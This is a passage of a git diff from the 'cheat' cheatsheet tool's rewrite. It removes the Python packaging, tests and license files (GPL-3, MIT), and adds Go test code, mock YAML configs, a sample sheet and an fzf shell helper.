:= Sort(sheets) + + // assert that the sheets sorted properly + want := []string{"bar", "baz", "foo"} + + for i, got := range sorted { + if got.Title != want[i] { + t.Errorf( + "sort returned incorrect value: want: %s, got: %s", + want[i], + got.Title, + ) + } + } +} diff --git a/licenses/gpl-3.txt b/licenses/gpl-3.txt deleted file mode 100644 index 94a9ed0..0000000 --- a/licenses/gpl-3.txt +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/licenses/mit.txt b/licenses/mit.txt deleted file mode 100644 index 7523890..0000000 --- a/licenses/mit.txt +++ /dev/null @@ -1,19 +0,0 @@ -The MIT License (MIT) Copyright (c) 2016 Chris Allen Lane - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies -of the Software, and to permit persons to whom the Software is furnished to do -so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/man1/cheat.1.gz b/man1/cheat.1.gz deleted file mode 100644 index 65bc32f..0000000 Binary files a/man1/cheat.1.gz and /dev/null differ diff --git a/mocks/conf/conf.yml b/mocks/conf/conf.yml new file mode 100644 index 0000000..3548e1d --- /dev/null +++ b/mocks/conf/conf.yml @@ -0,0 +1,17 @@ +--- +editor: vim + +colorize: true + +cheatpaths: + - path: ~/.dotfiles/cheat/community + tags: [ community ] + readonly: true + + - path: ~/.dotfiles/cheat/work + tags: [ work ] + readonly: false + + - path: ~/.dotfiles/cheat/personal + tags: [ personal ] + readonly: false diff --git a/mocks/conf/empty.yml b/mocks/conf/empty.yml new file mode 100644 index 0000000..0a78667 --- /dev/null +++ b/mocks/conf/empty.yml @@ -0,0 +1,15 @@ +--- +colorize: true + +cheatpaths: + - path: ~/.dotfiles/cheat/community + tags: [ community ] + readonly: true + + - path: ~/.dotfiles/cheat/work + tags: [ work ] + readonly: false + + - path: ~/.dotfiles/cheat/personal + tags: [ personal ] + readonly: false diff --git a/mocks/sheet/foo b/mocks/sheet/foo new file mode 100644 index 0000000..64637d2 --- /dev/null +++ b/mocks/sheet/foo @@ -0,0 +1,6 @@ +--- +syntax: sh +tags: [ "foo", "bar", "baz" ] +--- +# To foo the bar: + foo bar diff --git a/scripts/fzf.bash b/scripts/fzf.bash new file mode 100755 index 0000000..6cabadc --- /dev/null +++ b/scripts/fzf.bash @@ -0,0 +1,11 @@ +#!/bin/bash + +# This function enables you to choose a cheatsheet to view by selecting output +# from `cheat -l`. `source` it in your shell to enable it. (Consider renaming +# or aliasing it to something convenient.) + +# Arguments passed to this function (like --color) will be passed to the second +# invokation of `cheat`. +function cheat-fzf { + eval `cheat -l | tail -n +2 | fzf | awk -v vars="$*" '{ print "cheat " $1 " -t " $3, vars }'` +} diff --git a/setup.py b/setup.py deleted file mode 100644 index 86c8c1a..0000000 --- a/setup.py +++ /dev/null @@ -1,40 +0,0 @@ -from cheat.appdirs import user_data_dir -from distutils.core import setup -import os - -# determine the path in which to install the cheatsheets included with the -# package -cheat_path = os.environ.get('CHEAT_PATH') or \ - user_data_dir('cheat', 'cheat') - -# aggregate the systme-wide cheatsheets -cheat_files = [] -for f in os.listdir('cheat/cheatsheets/'): - cheat_files.append(os.path.join('cheat/cheatsheets/', f)) - -# specify build params -setup( - name='cheat', - version='2.5.1', - author='Chris Lane', - author_email='chris@chris-allen-lane.com', - license='GPL3', - description='cheat allows you to create and view interactive cheatsheets ' - 'on the command-line. It was designed to help remind *nix system ' - 'administrators of options for commands that they use frequently, but not ' - 'frequently enough to remember.', - url='https://github.com/chrisallenlane/cheat', - packages=[ - 'cheat', - 'cheat.test', - ], - scripts=['bin/cheat'], - install_requires=[ - 'docopt >= 0.6.1', - 'pygments >= 1.6.0', - 'termcolor >= 1.1.0', - ], - data_files=[ - (cheat_path, cheat_files), - ], -) diff --git a/tests/test_configuration.py b/tests/test_configuration.py deleted file mode 100644 index 187ef16..0000000 --- a/tests/test_configuration.py +++ /dev/null @@ -1,86 +0,0 @@ -import unittest2 -import os -import shutil -from cheat.configuration import Configuration - - -def _set_loc_conf(key, value): - _path = os.path.dirname(os.path.abspath(__file__)) + '/home/.config/cheat/cheat' - if value == None: - os.remove(_path) - else: - if not os.path.exists(os.path.dirname(_path)): - os.makedirs(os.path.dirname(_path)) - f = open(_path,"w+") - f.write('{"'+ key +'":"'+ value +'"}') - f.close() - - -def _set_glob_conf(key, value): - _path = os.path.dirname(os.path.abspath(__file__))+ "/etc/cheat" - if value == None: - os.remove(_path) - else: - if not os.path.exists(os.path.dirname(_path)): - os.mkdir(os.path.dirname(_path)) - f = open(_path,"w+") - f.write('{"'+ key +'":"'+ value +'"}' ) - f.close() - - -def _set_env_var(key, value): - if value == None: - del os.environ[key] - else: - os.environ[key] = value - - -def _configuration_key_test(TestConfiguration, key,values, conf_get_method): - for glob_conf in values: - _set_glob_conf(key,glob_conf) - for loc_conf in values: - _set_loc_conf(key,loc_conf) - for env_conf in values: - _set_env_var(key,env_conf) - if env_conf: - TestConfiguration.assertEqual(conf_get_method(Configuration()),env_conf) - elif loc_conf: - TestConfiguration.assertEqual(conf_get_method(Configuration()),loc_conf) - elif glob_conf: - TestConfiguration.assertEqual(conf_get_method(Configuration()),glob_conf) - else: - TestConfiguration.assertEqual(conf_get_method(Configuration()),None) - - -class ConfigurationTestCase(unittest2.TestCase): - - - def setUp(self): - os.environ['CHEAT_GLOBAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \ - + '/etc/cheat' - os.environ['CHEAT_LOCAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \ - + '/home/.config/cheat/cheat' - - - def test_get_editor(self): - _configuration_key_test(self,"EDITOR",["nano","vim","gedit",None], - Configuration.get_editor) - - - def test_get_cheatcolors(self): - _configuration_key_test(self,"CHEATCOLORS",["true",None], - Configuration.get_cheatcolors) - - - def test_get_cheatpath(self): - _configuration_key_test(self,"CHEATPATH",["/etc/myglobalcheats", - "/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_cheatpath) - - - def test_get_defaultcheatdir(self): - _configuration_key_test(self,"DEFAULT_CHEAT_DIR",["/etc/myglobalcheats", - "/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_default_cheat_dir) - - def tearDown(self): - shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/etc') - shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/home')